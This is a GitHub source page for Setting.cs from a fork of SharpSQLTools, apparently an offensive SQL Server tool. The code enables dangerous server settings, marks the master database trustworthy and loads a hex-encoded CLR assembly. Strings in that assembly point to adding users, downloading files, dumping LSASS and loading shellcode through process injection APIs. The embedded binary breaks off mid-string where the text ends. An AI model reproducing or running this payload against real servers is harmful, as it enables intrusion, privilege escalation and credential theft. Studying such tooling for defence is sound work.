forked from uknowsec/SharpSQLTools
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSetting.cs
More file actions
249 lines (229 loc) · 91.7 KB
/
Setting.cs
File metadata and controls
249 lines (229 loc) · 91.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Text;
namespace SharpSQLTools
{
class Setting
{
private String Command = String.Empty;
SqlConnection Conn = null;
public Setting(SqlConnection Connection)
{
Conn = Connection;
}
/// <summary>
/// 判断文件是否存在
/// </summary>
/// <param name="path">文件路径</param>
/// <param name="value">返回值匹配</param>
/// <returns></returns>
public bool File_Exists(String path, int value)
{
Command = String.Format(@"
DECLARE @r INT
EXEC master.dbo.xp_fileexist '{0}', @r OUTPUT
SELECT @r as n", path);
if (int.Parse(Batch.RemoteExec(Conn, Command, false)) == value)
return true;
return false;
}
/// <summary>
/// 设置 configuration
/// </summary>
/// <param name="option">查询内容选项</param>
/// <param name="value">返回值匹配</param>
/// <returns></returns>
public bool Set_configuration(String option, int value)
{
Command = String.Format("exec master.dbo.sp_configure '{0}',{1}; RECONFIGURE;", option, value);
Batch.RemoteExec(Conn, Command, false);
return Check_configuration(option, value);
}
/// <summary>
/// 设置 permission_set
/// </summary>
/// <returns></returns>
public void Set_permission_set()
{
Command = String.Format("ALTER DATABASE master SET TRUSTWORTHY ON;");
Batch.CLRExec(Conn, Command);
}
/// <summary>
/// CREATE ASSEMBLY
/// </summary>
/// <returns></returns>
public void CREATE_ASSEMBLY()
{
Command = String.Format(@"CREATE ASSEMBLY [CLR_module]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300A8E20B600000000000000000E00002210B010B0000A000000006000000000000BEBF00000020000000C000000000001000200000000200000400000000000000040000000000000000000100000200000000000003004085000010000010000000001000001000000000000010000000000000000000000064BF00005700000000C00000B00200000000000000000000000000000000000000E000000C0000002CBE00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000C49F00000020000000A0000000020000000000000000000000000000200000602E72737263000000B002000000C000000004000000A20000000000000000000000000000400000402E72656C6F6300000C00000000E000000002000000A600000000000000000000000000004000004200000000000000000000000000000000A0BF0000000000004800000002000500F4420000387B00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133004006D000000010000111200FE15040000021200047D020000041200057D030000041200177D050000041200147D0600000412000E047D070000041200147D090000040317120016280100000616FE0116FE010B072C10280800000A72010000706F0900000A2A280800000A722D0000706F0900000A2A0000001330050045000000020000111200FE15030000021200057D01000004030419120017280200000616FE0116FE010B072C10280800000A725D0000706F0900000A2A280800000A72990000706F0900000A2A1E02280A00000A2A00000013300500200000000300001173050000060A72D90000700B06140203146F03000006061407026F040000062A1E02280A00000A2A1B300400A50000000400001102280C00000A74140000010A066F0D00000A74160000010B076F0E00000A0C0318730F00000A0D20000400008D1A00000113040811041611048E696F1000000A13052B1A0911041611056F1100000A0811041611048E696F1000000A130511051630E1096F1200000A086F1200000A076F1300000A066F1400000A171307DE221306280800000A72F700007011066F1500000A281600000A6F0900000A161307DE0011072A0000000110000000000000808000221C000001A6020328080000062C10280800000A72150100706F0900000A2A280800000A723F0100706F0900000A2A1E02280A00000A2A0000133002001900000005000011281700000A0A06731800000A0B0720200200006F1900000A2A0000001B3004007E0000000600001103281A00000A2C1B280800000A726301007003281B00000A6F0900000A03281C00000A02281D00000A0A0317730F00000A0B071716731E00000A0C080616068E696F1100000ADE0A082C06086F1F00000ADCDE0A072C06076F1F00000ADCDE1D0D280800000A72C1010070096F2000000A281B00000A6F0900000ADE002A00000128000002003B000D48000A00000000020032002254000A00000000000000006060001D1C0000011B30070059020000070000117E2100000A0A160B140C021533117215020070282200000A0D09169A0C2B2802282300000A0CDE1F1304280800000A722102007011046F2000000A281B00000A6F0900000ADE28086F2400000A7215020070282500000A2C17280C0000062D10280800000A72490200706F0900000A2A086F2600000A0B086F2700000A0ADE301305280800000A72AB020070086F2400000A086F2600000A8C2600000111056F2000000A282800000A6F0900000ADEBF1613067205030070282900000A1307721B0300701107078C28000001282A00000A130872470300701107078C28000001282A00000A1309280800000A7273030070086F2400000A086F2600000A8C260000011108282800000A6F0900000A1108181918732B00000A130A0607110A6F2C00000A187E2100000A7E2100000A7E2100000A280B0000061306DE0C110A2C07110A6F1F00000ADC110639EE000000280800000A72AF0300706F0900000A280800000A72D903007011081109282A00000A6F0900000A11081109280D000006280800000A72250400701108281B00000A6F0900000A1108281C00000A280800000A7247040070078C28000001281B00000A6F0900000A72D0040070282900000A130B72FE040070130C7E2D00000A72000500706F2E00000A130D110D2C18725A050070110D72620500706F2F00000A281B00000A130C0215335E280800000A727A050070110C281B00000A6F0900000A280800000A72B2050070110B281B00000A6F0900000A280800000A72E8050070110B281B00000A6F0900000A2A280800000A72A106007011068C2E000001281B00000A6F0900000A2A0000000128000000001F000928001F1C00000100007000108000301C00000102001A01223C010C00000000133003003C000000080000117205030070282900000A0A72CB06007006281B00000A0B07283000000A2D16280800000A72DF06007007281B00000A6F0900000A2A15280E0000062A1E02280A00000A2A13300400DD000000090000110272330700706F3200000A2C06280F0000062A02724F0700706F3200000A2C06281F0000062A0272630700706F3200000A2C2702178D3100000113091109161F209D11096F3300000A0A06179A0B06189A0C070828060000062A02727B0700706F3200000A2C2B02178D31000001130A110A161F209D110A6F3300000A0D09179A130409189A13051104110528090000062A0272950700706F3200000A2C2E02178D31000001130B110B161F209D110B6F3300000A13061106179A13071106189A130811071108281D0000062A280800000A72AF0700706F0900000A2A1E02280A00000A2A00000013300A003F0000000A0000111A0A1201FE15100000021202FE150E00000216283400000A0216283400000A16283400000A160616283400000A16283400000A12011202281A00000626082A0013300600280000000B000011028E698D1A0000010A160B2B1306070207910307038E695D9161D29C0717580B07028E6932E7062A1B300500650100000C000011280800000A72CB07007002281B00000A6F0900000A280800000A72FF07007003281B00000A6F0900000A02283500000A0A140B06283600000A036F3700000A281C0000060B160C721F080070281B0000060D280800000A725F0800706F0900000A20FF0F1F001612037B3700000428130000061304280800000A729908007012037C37000004283800000A281B00000A6F0900000A11047E2100000A078E6920003000001F4028140000061305280800000A72CB0800706F0900000A1104110507078E69120228150000062C4B20FB0300001612037B3800000428160000061306110511067E2100000A2817000006261106281800000626280800000A720109007012037C37000004283800000A281B00000A6F0900000A11042819000006130711072C0F280800000A726D0900706F0900000A280800000A72A90900706F0900000ADE1F1308280800000A72F700007011086F1500000A281600000A6F0900000ADE002A000000411C0000000000000000000045010000450100001F0000001C0000011E02280A00000A2A1B300400F80000000D000011733900000A0A28200000066F3A00000A13092B311209283B00000A0B0772110A007017283C00000A0C08169A6F1500000A0D08179A6F1500000A1304060911046F3D00000A1209283E00000A2DC6DE0E1209FE160300001B6F1F00000ADC280800000A72150A00706F0900000A72FE0400701305161306283F00000A13071107130A16130B2B41110A110B9A13080611086F2400000A12056F4000000A2C23280800000A72350A007011086F2400000A1105282A00000A6F0900000A110617581306110B1758130B110B110A8E6932B711062D0F280800000A72770A00706F0900000A280800000A72CD0A00706F0900000A284100000A2A01100000020012003E50000E0000000013300400AD1800000E000011734200000A0A06202D0200008D1B0000010B071672E50A0070A20717720F0B0070A2071872370B0070A20719726D0B0070A2071A72850B0070A2071B72AD0B0070A2071C72D50B0070A2071D72030C0070A2071E72250C0070A2071F0972530C0070A2071F0A729D0C0070A2071F0B72CD0C0070A2071F0C72F10C0070A2071F0D72130D0070A2071F0E723B0D0070A2071F0F728D0D0070A2071F1072C90D0070A2071F1172FF0D0070A2071F1272210E0070A2071F13724B0E0070A2071F1472730E0070A2071F1572D10E0070A2071F1672F70E0070A2071F1772290F0070A2071F1872450F0070A2071F1972690F0070A2071F1A72810F0070A2071F1B729D0F0070A2071F1C72B70F0070A2071F1D72D10F0070A2071F1E72F10F0070A2071F1F720B100070A2071F20723B100070A2071F21725B100070A2071F22727B100070A2071F2372A5100070A2071F2472BF100070A2071F2572DB100070A2071F2672F5100070A2071F27721D110070A2071F287243110070A2071F297265110070A2071F2A7287110070A2071F2B72AB110070A2071F2C72C5110070A2071F2D72EF110070A2071F2E7217120070A2071F2F7233120070A2071F30725B120070A2071F317271120070A2071F32728F120070A2071F3372AD120070A2071F3472D9120070A2071F3572F5120070A2071F36721F130070A2071F377243130070A2071F387267130070A2071F397293130070A2071F3A72C9130070A2071F3B72F5130070A2071F3C721B140070A2071F3D7233140070A2071F3E724B140070A2071F3F7265140070A2071F40727D140070A2071F417295140070A2071F4272B7140070A2071F4372D5140070A2071F4472F7140070A2071F45721B150070A2071F467231150070A2071F477249150070A2071F48725B150070A2071F49727F150070A2071F4A72A1150070A2071F4B72C7150070A2071F4C72E7150070A2071F4D7213160070A2071F4E7235160070A2071F4F724B160070A2071F50727D160070A2071F517299160070A2071F5272B5160070A2071F5372D7160070A2071F5472F1160070A2071F557205170070A2071F56722F170070A2071F57725B170070A2071F58727D170070A2071F5972AB170070A2071F5A72DB170070A2071F5B7209180070A2071F5C722F180070A2071F5D724F180070A2071F5E7277180070A2071F5F7299180070A2071F6072B1180070A2071F6172E1180070A2071F62720F190070A2071F637229190070A2071F64723F190070A2071F65724F190070A2071F667261190070A2071F677279190070A2071F687295190070A2071F6972A9190070A2071F6A72C1190070A2071F6B72E3190070A2071F6C72071A0070A2071F6D722F1A0070A2071F6E72551A0070A2071F6F72751A0070A2071F7072991A0070A2071F7172B71A0070A2071F7272D71A0070A2071F7372F31A0070A2071F7472111B0070A2071F7572351B0070A2071F7672511B0070A2071F77726D1B0070A2071F78728D1B0070A2071F7972B51B0070A2071F7A72D11B0070A2071F7B72F11B0070A2071F7C72131C0070A2071F7D72331C0070A2071F7E72531C0070A2071F7F72711C0070A207208000000072911C0070A207208100000072AF1C0070A207208200000072DB1C0070A207208300000072F71C0070A2072084000000720F1D0070A207208500000072271D0070A2072086000000723D1D0070A207208700000072551D0070A207208800000072831D0070A207208900000072B71D0070A207208A00000072EB1D0070A207208B00000072271E0070A207208C00000072631E0070A207208D00000072831E0070A207208E00000072B31E0070A207208F00000072D11E0070A207209000000072E11E0070A207209100000072031F0070A2072092000000724B1F0070A207209300000072891F0070A207209400000072A91F0070A207209500000072C11F0070A207209600000072D91F0070A207209700000072EF1F0070A20720980000007205200070A2072099000000721D200070A207209A0000007237200070A207209B0000007249200070A207209C000000727D200070A207209D00000072B3200070A207209E00000072EF200070A207209F0000007227210070A20720A0000000726D210070A20720A100000072A9210070A20720A200000072DF210070A20720A30000007215220070A20720A40000007251220070A20720A50000007285220070A20720A600000072BF220070A20720A700000072F7220070A20720A80000007217230070A20720A90000007233230070A20720AA0000007279230070A20720AB0000007293230070A20720AC00000072B3230070A20720AD00000072D7230070A20720AE00000072F9230070A20720AF0000007215240070A20720B00000007239240070A20720B10000007253240070A20720B20000007285240070A20720B300000072C9240070A20720B400000072F1240070A20720B50000007225250070A20720B60000007257250070A20720B70000007281250070A20720B800000072AF250070A20720B900000072DB250070A20720BA000000720B260070A20720BB000000723D260070A20720BC000000726D260070A20720BD0000007283260070A20720BE00000072A9260070A20720BF00000072CB260070A20720C000000072EF260070A20720C10000007217270070A20720C2000000724B270070A20720C30000007273270070A20720C40000007297270070A20720C500000072B7270070A20720C600000072DF270070A20720C7000000720D280070A20720C8000000722B280070A20720C9000000724F280070A20720CA000000727D280070A20720CB00000072B3280070A20720CC00000072E1280070A20720CD000000720B290070A20720CE0000007239290070A20720CF000000725B290070A20720D00000007277290070A20720D10000007295290070A20720D200000072B3290070A20720D300000072D7290070A20720D4000000720B2A0070A20720D5000000722B2A0070A20720D6000000726F2A0070A20720D7000000728B2A0070A20720D800000072A72A0070A20720D900000072C72A0070A20720DA00000072F32A0070A20720DB000000721F2B0070A20720DC000000723F2B0070A20720DD000000725F2B0070A20720DE000000727D2B0070A20720DF000000729D2B0070A20720E000000072BD2B0070A20720E100000072E72B0070A20720E200000072FF2B0070A20720E3000000721D2C0070A20720E400000072452C0070A20720E500000072A32C0070A20720E600000072C92C0070A20720E700000072E92C0070A20720E8000000720B2D0070A20720E9000000722F2D0070A20720EA000000725D2D0070A20720EB00000072972D0070A20720EC00000072BD2D0070A20720ED00000072E92D0070A20720EE00000072132E0070A20720EF000000723D2E0070A20720F000000072672E0070A20720F100000072852E0070A20720F200000072A32E0070A20720F300000072D32E0070A20720F400000072092F0070A20720F500000072312F0070A20720F600000072732F0070A20720F700000072A12F0070A20720F800000072BF2F0070A20720F900000072DB2F0070A20720FA0000007201300070A20720FB000000721F300070A20720FC000000723F300070A20720FD000000725B300070A20720FE000000727B300070A20720FF0000007299300070A207200001000072B9300070A207200101000072F1300070A20720020100007229310070A2072003010000726F310070A2072004010000728F310070A207200501000072AD310070A207200601000072C9310070A207200701000072E7310070A20720080100007213320070A2072009010000722F320070A207200A0100007259320070A207200B0100007279320070A207200C010000729D320070A207200D01000072BB320070A207200E0100007219330070A207200F0100007251330070A2072010010000728B330070A207201101000072AF330070A207201201000072D9330070A20720130100007201340070A20720140100007235340070A20720150100007269340070A20720160100007299340070A207201701000072B3340070A207201801000072E7340070A20720190100007215350070A207201A0100007233350070A207201B010000724D350070A207201C0100007267350070A207201D010000729B350070A207201E01000072F1350070A207201F010000721F360070A20720200100007243360070A20720210100007263360070A2072022010000727F360070A207202301000072A5360070A207202401000072C9360070A207202501000072F1360070A2072026010000721F370070A20720270100007235370070A2072028010000725B370070A20720290100007273370070A207202A010000729F370070A207202B01000072DB370070A207202C0100007213380070A207202D0100007241380070A207202E010000726B380070A207202F0100007291380070A207203001000072C1380070A207203101000072ED380070A2072032010000723F390070A2072033010000726D390070A20720340100007295390070A207203501000072C1390070A207203601000072F1390070A2072037010000720B3A0070A207203801000072253A0070A2072039010000725D3A0070A207203A01000072893A0070A207203B01000072AD3A0070A207203C01000072D33A0070A207203D01000072FB3A0070A207203E01000072553B0070A207203F01000072973B0070A207204001000072B73B0070A207204101000072DB3B0070A207204201000072013C0070A207204301000072233C0070A2072044010000724D3C0070A207204501000072773C0070A207204601000072A13C0070A207204701000072E53C0070A207204801000072233D0070A2072049010000724B3D0070A207204A010000727D3D0070A207204B01000072AD3D0070A207204C01000072C93D0070A207204D01000072F93D0070A207204E01000072293E0070A207204F01000072833E0070A207205001000072AD3E0070A207205101000072D33E0070A207205201000072FB3E0070A2072053010000722B3F0070A207205401000072553F0070A207205501000072773F0070A2072056010000729D3F0070A207205701000072BB3F0070A207205801000072DF3F0070A20720590100007207400070A207205A0100007233400070A207205B0100007251400070A207205C010000727F400070A207205D01000072AD400070A207205E01000072CB400070A207205F01000072E9400070A20720600100007209410070A20720610100007225410070A20720620100007241410070A2072063010000726F410070A20720640100007291410070A207206501000072BB410070A207206601000072D9410070A20720670100007211420070A20720680100007243420070A2072069010000726F420070A207206A010000729F420070A207206B01000072B1420070A207206C01000072DB420070A207206D0100007207430070A207206E010000723B430070A207206F0100007253430070A2072070010000728B430070A2072071010000729B430070A207207201000072C7430070A207207301000072E3430070A20720740100007201440070A20720750100007233440070A2072076010000726B440070A20720770100007289440070A207207801000072A7440070A207207901000072C3440070A207207A01000072DD440070A207207B01000072FD440070A207207C0100007219450070A207207D0100007265450070A207207E0100007291450070A207207F01000072A5450070A207208001000072B9450070A207208101000072D3450070A207208201000072ED450070A20720830100007203460070A2072084010000721B460070A20720850100007233460070A20720860100007249460070A20720870100007263460070A2072088010000727D460070A20720890100007295460070A207208A01000072AD460070A207208B01000072C7460070A207208C0100007219470070A207208D0100007239470070A207208E010000726D470070A207208F010000728F470070A207209001000072AF470070A207209101000072CF470070A20720920100007207480070A20720930100007227480070A2072094010000724B480070A20720950100007261480070A20720960100007293480070A207209701000072BB480070A207209801000072EF480070A2072099010000720F490070A207209A0100007229490070A207209B0100007265490070A207209C01000072A3490070A207209D01000072014A0070A207209E01000072354A0070A207209F010000726B4A0070A20720A001000072874A0070A20720A101000072A94A0070A20720A201000072C94A0070A20720A301000072EB4A0070A20720A4010000720B4B0070A20720A5010000722B4B0070A20720A6010000724F4B0070A20720A7010000726F4B0070A20720A8010000728F4B0070A20720A901000072AF4B0070A20720AA01000072CB4B0070A20720AB01000072E94B0070A20720AC01000072094C0070A20720AD01000072254C0070A20720AE01000072414C0070A20720AF010000725B4C0070A20720B001000072794C0070A20720B101000072994C0070A20720B201000072B34C0070A20720B301000072CF4C0070A20720B401000072EF4C0070A20720B5010000720F4D0070A20720B601000072314D0070A20720B701000072574D0070A20720B801000072794D0070A20720B9010000729F4D0070A20720BA01000072BB4D0070A20720BB01000072D94D0070A20720BC01000072F94D0070A20720BD01000072194E0070A20720BE01000072394E0070A20720BF01000072594E0070A20720C0010000727F4E0070A20720C1010000729F4E0070A20720C201000072BF4E0070A20720C301000072DF4E0070A20720C401000072FF4E0070A20720C5010000721D4F0070A20720C6010000724D4F0070A20720C701000072774F0070A20720C801000072A34F0070A20720C901000072C14F0070A20720CA01000072DB4F0070A20720CB01000072F54F0070A20720CC0100007217500070A20720CD010000723D500070A20720CE0100007261500070A20720CF010000727D500070A20720D00100007299500070A20720D101000072C7500070A20720D201000072F5500070A20720D30100007225510070A20720D40100007241510070A20720D5010000725D510070A20720D60100007275510070A20720D7010000728F510070A20720D801000072AB510070A20720D901000072C7510070A20720DA01000072E3510070A20720DB01000072F9510070A20720DC010000721F520070A20720DD0100007245520070A20720DE010000726B520070A20720DF0100007283520070A20720E0010000729F520070A20720E101000072D1520070A20720E2010000720D530070A20720E30100007237530070A20720E4010000725B530070A20720E50100007275530070A20720E601000072B7530070A20720E701000072DF530070A20720E801000072F7530070A20720E9010000720F540070A20720EA010000723B540070A20720EB0100007257540070A20720EC010000727B540070A20720ED010000729D540070A20720EE01000072BD540070A20720EF01000072DD540070A20720F001000072FF540070A20720F10100007223550070A20720F20100007249550070A20720F30100007269550070A20720F4010000728D550070A20720F501000072B7550070A20720F601000072DD550070A20720F701000072FF550070A20720F80100007221560070A20720F9010000723D560070A20720FA0100007257560070A20720FB0100007271560070A20720FC0100007297560070A20720FD01000072C5560070A20720FE01000072F3560070A20720FF0100007221570070A20720000200007247570070A20720010200007263570070A20720020200007281570070A207200302000072A1570070A207200402000072BD570070A207200502000072E7570070A20720060200007211580070A20720070200007229580070A2072008020000725D580070A20720090200007281580070A207200A02000072A3580070A207200B02000072C3580070A207200C02000072E1580070A207200D02000072FD580070A207200E0200007215590070A207200F0200007243590070A2072010020000726F590070A207201102000072A9590070A207201202000072CF590070A207201302000072F9590070A207201402000072135A0070A2072015020000722F5A0070A2072016020000724B5A0070A2072017020000726B5A0070A207201802000072855A0070A207201902000072A15A0070A207201A02000072BB5A0070A207201B02000072D95A0070A207201C02000072F35A0070A207201D02000072155B0070A207201E02000072395B0070A207201F02000072555B0070A2072020020000726D5B0070A207202102000072875B0070A207202202000072A55B0070A207202302000072C35B0070A207202402000072F55B0070A207202502000072295C0070A2072026020000725B5C0070A207202702000072895C0070A207202802000072C15C0070A207202902000072EB5C0070A207202A02000072155D0070A207202B02000072495D0070A207202C02000072695D0070A2076F4300000A062A1E02280A00000A2A00000042534A4201000100000000000C00000076322E302E35303732370000000005006C0000009C0B0000237E0000080C0000200E000023537472696E677300000000281A0000905D000023555300B8770000100000002347554944000000C87700007003000023426C6F620000000000000002000001573D021C0902000000FA253300160000010000003900000011000000500000002100000045000000430000002800000004000000040000000E00000005000000030000000B00000001000000030000000900000000000A00010000000000060025011E0106002C011E01060036011E0106002B020C02060067064C06060080060C02060093060C02060087080C020600A5080C020600E008CD082B00F4080000060023090309060043090309060061090C020A00A8098D090A00B3098D090600C9090C020600DF090C020E00F509EA090E00070AEA090E00160AEA090E002E0AEA090600480A3E0A0600610A3E0A06006C0A3E0A0600750A1E0106009A0A1E010600A80A1E010600D80ABE0A0600F30ABE0A0600040BBE0A0600200B3E0A0E005D0B470B0E00680B470B0600780B1E010600980B1E010E00A40BCD080600FC0B1E010600020C1E010600250C1E0106002C0C3E0A0600370C3E0A06005D0C410C06008F0C7F0C0600980C7F0C0600C50C1E010600CD0C3E0A0A00D70C8D090600F60C1E010600300D1E010600550D490D0600710D4C0617007E0D00000E00C20DA30D0E00C80DA30D0600FB0D1E010600060E4C0600000000010000000000010001000100100019002E000500010001000A011100390000000900010006000A01110053000000090002000600000010005F002E0005000A0006000000100067002E0005000A0008000000100070002E0005000A000B00010010007A00000005000A001100000010008B002E0005000A001300020100009B0000000D000A001F0002010000AF0000000D0018001F0002010000BC0000000D0024001F0002010000CA0000000D002A001F000A011000D5000000090035001F000D011000E9000000090039001F000A0110000301000009003F001F00000010000F012E00050051001F0006007C01320006008A0132000600950132000600A40135000600B70135000600C20132000600D10132000600D90135000600E50132000606F00235005680F802B6005680FC02B60056800603B60056801303B60056802A03B60056803C03B60056804F03B6005680D102B60056805F03B60056806803B60056807703B60056808803B6005680A003B6000606F00235005680AC03FB005680B603FB005680C503FB005680D103FB005680DD03FB005680ED03FB005680FF03FB0056801004FB0056801C04FB0056803104FB0056803F04FB000606F002350056804A04090156805504090156806104090156806B04090156807A0409010606F00235005680840421015680910421015680A30421015680BA0421015680D10421015680DF0421015680ED0421015680FC04210156800B052101568020052101060037052F01060040052F0106004805350006005405350006005F052F01060069052F01060074052F0106007E052F01060088052F01060092052F0101009F0532010100A2052F010100AD052F010100B7052F010100BF0532010100C30532010100C70532010100CF0532010100D70532010100E50532010100F305320106000406320106000C063501010018063501010023062F0101002F062F01010039062F01010044062F0100000000800091203B010A000100000000008000912046011400050050200000000086005E011F000A00CC20000000008600660127000E001D2100000000861876012E0011002821000000009600F70138001100542100000000861876012E0013005C21000000009600FB013E00130020220000000096000802380015004A2200000000861876012E00170000000000800091203602440017005422000000009600480250001E007C22000000009600580238001E003023000000009600610254002000C025000000009600080259002100082600000000861876012E00210010260000000096006A025D002100F92600000000861876012E002200000000008000962072026200220000000000800096207E026900250000000000800096208D0272002A000000000080009620A0027C002F000000000080009620AB02840032000000000080009620B8028B0035000000000080009620C502900036000000000080009620D102950037000427000000009600DF02A70041005027000000009600EC02AD0042008427000000009600080238004400142900000000861876012E0046001C29000000009600080259004600302A0000000096006E0638014600E94200000000861876012E00460000200100750600000200A10600000300A70600000400AB0600200100750600200200B40600000300A10600000400A70600000500BE0600000100CB0600000200D60600000300DF0600000400E80600000100CB0600000200F30600000300D60600000100D60600000200DF0600000100FD06000002000107000001000A07000002000E07000001003705000002001807000003002207000004002807000005003107000006003A07000007004A07000001005807000002005F07101001006707000001006B07000001006F07000002007F07000003004805000001003705000002008E07000003009807000004009F0700000500B00700000100370500000200BA0700200300C80700000400D10700000500D707000001006F07000002007F0700000300540500000100EE0700000200400500000300F50700000100400500000100FC07000001000408000002001608000003002408000004003208000005004208000006005208000007006008000008006E08010009007B0802000A00930800000100B20800000100BD0800000200C40800000100C80800000200C408310076014001410076012E00490076012E00510076014F01610076015501690076012E00710076015A017900BB095F018100C4095A01090076012E008900760170019900000A7C019900220A8201A9004F0A8701C10076018C01B9007A0A9301B9007F0A9B01B900850A2E00A900850A2E0099008B0A2E000900910AA301D900A10AA701E900E80ABE01F1007601C301F100170BC9010101250BD601D9002C0BDB010101330B5D0001013A0BE10109017601E7011901840B2E00E1008C0BA30121019F0B2F012901AC0BFD012901BF0B05022901CE0BA301D900DE0B3E002901EA0B0C022901F10B1002D9002C0B140239010E0C1C02D9002C0B2102C10076012802C1006C0C35026101A40C3B026901B10C40026901BC0C47027901250BD601810176012E00D900ED0C6C02D900FB0C71022101240D8D029101380DE10199015E0DA0029901680DA6023101910AA3010C0076012E001400890DCA021C00970DDB02B101FB0CE0020C00D50DEA021C00D90DF2022901E20DF6020C00EF0DFD02C101FE0D5900140076012E001400140E290308002C00BA0008003000BF0008003400C40008003800C90008003C00CE0008004000D30008004400D80008004800DD0008004C00E20008005000E70008005400EC0008005800F10008005C00F60008006400BF0008006800C40008006C00C90008007000CE0008007400D30008007800D80008007C00DD0008008000E20008008100480108008400E70008008800FF0008008C00040108009400F100080098000D0108009C0012010800A00017010800A4001C010800AC00CE000800B000D3000800B400D8000800B800DD000800BC00BF000800C000C4000800C40025010800C800C9000800CC002A010800D0002A012E0023003E032E002B0047032E003300500320028B01BF00030046010B0046010D00460159004D0164016A017601AD01CF01F1014C026702780292029A02AC02060334037409B20A010D0A0D170DBC02C402D402000103003B010100000105004601010045031700360202004401270072020300440129007E02030044012B008D02030044012D00A002040044012F00AB02040044013100B802040044013300C502030046033500D10205000480000000000000000000000000000000002E0000000200000000000000000000000100150100000000020000000000000000000000010081090000000002000000000000000000000001001E010000000003000200040002000A0009000B0009000C0009000D0009000E0009000F000900100009000000003C4D6F64756C653E00434C525F6D6F64756C652E646C6C004C6F63616C47726F75705573657248656C70657200434C525F6D6F64756C65004C4F43414C47524F55505F4D454D424552535F494E464F5F3300555345525F494E464F5F31006164647573657200646F776E6C6F61640064756D706C736173730053746F72656450726F63656475726573007368656C6C636F64656C6F616465720050726F6365737341636365737352696768747300546872656164416363657373004D656D416C6C6F636174696F6E004D656D50726F746563740050524F434553535F494E464F524D4154494F4E0050524F434553535F42415349435F494E464F524D4154494F4E0053544152545550494E464F006765746176006D73636F726C69620053797374656D004F626A6563740056616C75655479706500456E756D004E657455736572416464004E65744C6F63616C47726F75704164644D656D6265727300416464557365720047726F75704164644D656D62657273002E63746F7200646F6D61696E616E646E616D650075737269315F6E616D650075737269315F70617373776F72640075737269315F70617373776F72645F6167650075737269315F707269760075737269315F686F6D655F64697200636F6D6D656E740075737269315F666C6167730075737269315F7363726970745F706174680061646400446F776E6C6F616446696C650072756E0053797374656D2E52756E74696D652E496E7465726F705365727669636573005361666548616E646C65004D696E6944756D70577269746544756D7000497348696768496E7465677269747900436F6D7072657373004D696E6964756D7000436C7245786563004F70656E50726F63657373005669727475616C416C6C6F63457800577269746550726F636573734D656D6F7279004F70656E5468726561640051756575655573657241504300526573756D6554687265616400436C6F736548616E646C650043726561746550726F6365737300537461727450726F63657373005830720076616C75655F5F00416C6C005465726D696E61746500437265617465546872656164005669727475616C4D656D6F72794F7065726174696F6E005669727475616C4D656D6F727952656164005669727475616C4D656D6F72795772697465004475706C696361746548616E646C650053657451756F746100536574496E666F726D6174696F6E005175657279496E666F726D6174696F6E0051756572794C696D69746564496E666F726D6174696F6E0053796E6368726F6E697A65005445524D494E4154450053555350454E445F524553554D45004745545F434F4E54455854005345545F434F4E54455854005345545F494E464F524D4154494F4E0051554552595F494E464F524D4154494F4E005345545F5448524541445F544F4B454E00494D504552534F4E415445004449524543545F494D504552534F4E4154494F4E005448524541445F48494A41434B005448524541445F414C4C004D454D5F434F4D4D4954004D454D5F52455345525645004D454D5F5245534554004D454D5F52455345545F554E444F00536563436F6D6D697400504147455F4558454355544500504147455F455845435554455F5245414400504147455F455845435554455F52454144575249544500504147455F455845435554455F5752495445434F505900504147455F4E4F41434345535300504147455F524541444F4E4C5900504147455F52454144575249544500504147455F5752495445434F505900504147455F544152474554535F494E56414C494400504147455F544152474554535F4E4F5F555044415445006850726F63657373006854687265616400647750726F6365737349640064775468726561644964005265736572766564310050656241646472657373005265736572766564320052657365727665643300556E69717565506964004D6F72655265736572766564006362006C705265736572766564006C704465736B746F70006C705469746C6500647758006477590064775853697A650064775953697A6500647758436F756E74436861727300647759436F756E74436861727300647746696C6C41747472696275746573006477466C616773007753686F7757696E646F770063625265736572766564006C705265736572766564320068537464496E70757400685374644F757470757400685374644572720053797374656D2E436F6C6C656374696F6E732E47656E65726963004C69737460310061764C697374007365727665726E616D65004D61727368616C417341747472696275746500556E6D616E6167656454797065006C6576656C00627566007061726D5F6572720067726F75706E616D6500746F74616C656E7472696573007365727665724E616D6500757365724E616D650070617373776F726400737472436F6D6D656E740067726F75704E616D650055524C0066696C656E616D650075726C006C6F63616C706174680070726F636573734964006846696C650064756D705479706500657870506172616D007573657253747265616D506172616D0063616C6C6261636B506172616D00696E46696C65006F757446696C650070696400636D64006477446573697265644163636573730062496E686572697448616E646C65006C704164647265737300647753697A6500666C416C6C6F636174696F6E5479706500666C50726F74656374006C704261736541646472657373006C70427566666572006E53697A65006C704E756D6265724F6642797465735772697474656E0070666E4150430064774461746100684F626A656374006C704170706C69636174696F6E4E616D65006C70436F6D6D616E644C696E65006C7050726F6341747472696273006C70546872656164417474726962730062496E686572697448616E646C6573006477437265617465466C616773006C70456E7669726F6E6D656E74006C7043757272656E74446972006C705374617274696E666F00496E417474726962757465006C7050726F63496E666F726D6174696F6E004F75744174747269627574650062696E6172795061746800636970686572006B657900636F64650053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756